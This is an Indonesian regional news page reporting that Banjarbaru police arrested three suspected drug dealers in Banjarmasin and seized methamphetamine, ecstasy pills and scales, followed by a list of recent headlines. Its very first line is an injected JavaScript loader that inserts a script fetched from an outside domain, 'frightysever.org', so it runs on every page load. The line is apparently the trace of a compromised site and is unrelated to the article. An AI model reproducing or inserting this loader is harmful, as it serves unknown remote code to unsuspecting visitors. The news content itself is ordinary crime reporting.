(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Hanya Beberapa Jam, Polisi Tangkap Tiga Pengedar Narkotika di Banjarmasin


BANJARBARU, Satuan Reserse Narkoba (Satresnarkoba), Polres Banjarbaru diback up Subdit I Ditresnarkoba Polda Kalsel berhasil mengamankan 3 orang pelaku pengedar narkoba di tiga lokasi berbeda.

Pelaku diketahui berinisial D (48), H (37) dan AS (38). Ketiganya berhasil diamankan setelah pihak kepolisian mendapatkan informasi dari tersangka yang sebelumnya diamankan yaitu Muzekki alias Amang.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Resnarkoba Polres Banjarbaru AKP Elche Angelia Ediwan menjelaskan menurut keterangan Muzekku narkotika miliknya didapatkan dari tersangka D yang tinggal Jalan Pangeran Antasari Gg. 6 (Simpang Penghulu) RT 20 RW 04 Kelurahan Pekapuran Laut Kecamatan Banjarmasin Tengah, Kota Banjarmasin.

“Berdasarkan informasi tersebut, pada hari Selasa  (29/1) pukul 15.00 Wita kita melakukan penyelidikan terhadap tersangka D yang tinggal di kota Banjarmasin. Maka kita lakukan penyelidikan yang dibantu Subdit I Ditresnarkoba Polda Kalsel,” ujarnya.

Alhasil, anggota berhasil mengamankan D yang mana saat dilakukan penggeladahan ditemukan barang bukti yang dimaksud. Belum cukup sampai disitu, nyanyian dari pelaku D membuat pihak kepolisian melakukan  pengembangan kasus. Hanya selang beberapa jam, tepatnya pukul 17.00 Wita  AS diringkus di depan Gang Penghulu RT 20 Kelurahan Pekapuran Laut, Kecamatan Banjarmasin Tengah Kota Banjarmasin.

Pihak Kepolisan yang masih terus melakukan pengembangan, kembali berhasil mengamankan pelaku lainnya yaitu H di Jalan Kelayan A Gang Taruna Kelurahan Kelayan, Kecamatan Banjarmasin Selatan Kota Banjarmasin sekitar pukul 17.30 WITA. “Saat digeledah, barang bukti berupa narkotika kita temukan disembunyikan di dalam kotak bohlam lampu,” lanjut AKP Elche.

Ketiga pelaku yang diringkus di Kota Banjarmasin beserta barang bukti kemudian digiring ke Polres Banjarbaru guna proses lebih lanjut.

Adapun barang bukti yang berhasil diamankan dari para tersangka, 32 lembar plastik klip, yang di dalamnya terdapat narkotika jenis sabu-sabu dengan berat kotor 123 gram dan berat bersih 116 gram , 17 Butir ineks warna, 1 buah kotak bohlam lampu, 1 buah kotak merek AUDAX dan 2 buah timbangan. Selain itu barang bukti lainnya yang disita beruoa  2 bungkus plastik klip, 2 lembar plastik klip serta 3  buah handphone berbagai merek dan warna.(rico)

Reporter: Rico
Editor: Chel

Desy Arfianty

Recent Posts

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

3 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

3 jam ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

4 jam ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

7 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

7 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

7 jam ago

This website uses cookies.